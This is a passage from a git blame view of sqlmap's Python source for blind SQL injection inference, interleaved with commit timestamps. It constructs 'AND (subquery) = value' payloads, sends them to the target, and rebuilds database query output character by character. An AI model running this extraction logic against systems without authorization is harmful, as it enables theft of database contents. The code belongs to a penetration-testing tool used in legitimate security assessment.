etaProgressUpdate(time.time() - charStart, len(commonValue))
|
2010-11-08 01:42:56 +03:00
|
|
|
elif conf.verbose in (1, 2):
|
2010-06-21 18:40:12 +04:00
|
|
|
dataToStdout(commonValue[index-1:])
|
2010-05-27 20:45:09 +04:00
|
|
|
|
2010-06-21 18:40:12 +04:00
|
|
|
finalValue = commonValue
|
2010-05-27 20:45:09 +04:00
|
|
|
|
2010-05-26 13:48:20 +04:00
|
|
|
break
|
2010-05-31 19:05:29 +04:00
|
|
|
|
2010-06-17 15:38:32 +04:00
|
|
|
# If there is a common pattern starting with finalValue,
|
|
|
|
# check it via equal against the substring-query output
|
2010-06-21 18:40:12 +04:00
|
|
|
if commonPattern is not None:
|
|
|
|
# Substring-query containing equals commonPattern
|
2011-01-28 19:36:09 +03:00
|
|
|
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
|
2010-06-21 18:40:12 +04:00
|
|
|
testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False)
|
2010-10-25 18:11:47 +04:00
|
|
|
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
|
2010-11-18 01:00:09 +03:00
|
|
|
query = agent.suffixQuery(query)
|
2010-06-17 15:38:32 +04:00
|
|
|
queriesCount[0] += 1
|
2010-12-24 21:40:48 +03:00
|
|
|
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
|
2010-06-17 15:38:32 +04:00
|
|
|
|
|
|
|
# Did we have luck?
|
|
|
|
if result:
|
2010-06-21 18:40:12 +04:00
|
|
|
val = commonPattern[index-1:]
|
2010-06-17 15:38:32 +04:00
|
|
|
index += len(val)-1
|
|
|
|
|
2010-06-21 18:40:12 +04:00
|
|
|
# Otherwise if there is no commonValue (single match from
|
|
|
|
# txt/common-outputs.txt) and no commonPattern
|
2010-06-17 15:38:32 +04:00
|
|
|
# (common pattern) use the returned common charset only
|
|
|
|
# to retrieve the query output
|
|
|
|
if not val and commonCharset:
|
2010-05-27 20:45:09 +04:00
|
|
|
val = getChar(index, commonCharset, False)
|
|
|
|
|
2010-06-21 18:40:12 +04:00
|
|
|
# If we had no luck with commonValue and common charset,
|
2010-05-27 20:45:09 +04:00
|
|
|
# use the returned other charset
|
2010-05-21 13:35:36 +04:00
|
|
|
if not val:
|
2010-05-28 14:17:03 +04:00
|
|
|
val = getChar(index, otherCharset, otherCharset == asciiTbl)
|
2010-05-21 13:35:36 +04:00
|
|
|
else:
|
|
|
|
val = getChar(index, asciiTbl)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
if val is None or ( lastChar > 0 and index > lastChar ):
|
2008-10-15 19:38:22 +04:00
|
|
|
break
|
|
|
|
|
2010-11-02 23:51:55 +03:00
|
|
|
if kb.data.processChar:
|
|
|
|
val = kb.data.processChar(val)
|
|
|
|
|
2008-12-04 20:40:03 +03:00
|
|
|
finalValue += val
|
2008-10-16 19:31:02 +04:00
|
|
|
dataToSessionFile(replaceNewlineTabs(val))
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if showEta:
|
|
|
|
etaProgressUpdate(time.time() - charStart, index)
|
2010-11-08 01:42:56 +03:00
|
|
|
elif conf.verbose in (1, 2):
|
2008-10-15 19:38:22 +04:00
|
|
|
dataToStdout(val)
|
|
|
|
|
2010-12-11 13:52:04 +03:00
|
|
|
if len(finalValue) > INFERENCE_BLANK_BREAK and finalValue[-INFERENCE_BLANK_BREAK:].isspace():
|
|
|
|
break
|
|
|
|
|
2011-01-17 13:15:19 +03:00
|
|
|
if finalValue:
|
|
|
|
finalValue = finalValue.rstrip(INFERENCE_UNKNOWN_CHAR)
|
|
|
|
|
2010-11-08 01:42:56 +03:00
|
|
|
if conf.verbose in (1, 2) or showEta:
|
2008-10-15 19:38:22 +04:00
|
|
|
dataToStdout("\n")
|
|
|
|
|
2010-05-11 18:15:03 +04:00
|
|
|
if ( conf.verbose in ( 1, 2 ) and showEta ) or conf.verbose >= 3:
|
2011-01-05 13:25:07 +03:00
|
|
|
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
|
2008-10-15 19:38:22 +04:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2008-12-04 20:40:03 +03:00
|
|
|
if not partialValue:
|
|
|
|
dataToSessionFile("]\n")
|
|
|
|
|
2010-12-21 17:21:24 +03:00
|
|
|
if kb.threadException:
|
2010-06-03 12:55:13 +04:00
|
|
|
raise sqlmapThreadException, "something unexpected happened inside the threads"
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-12-04 20:40:03 +03:00
|
|
|
return queriesCount[0], finalValue
|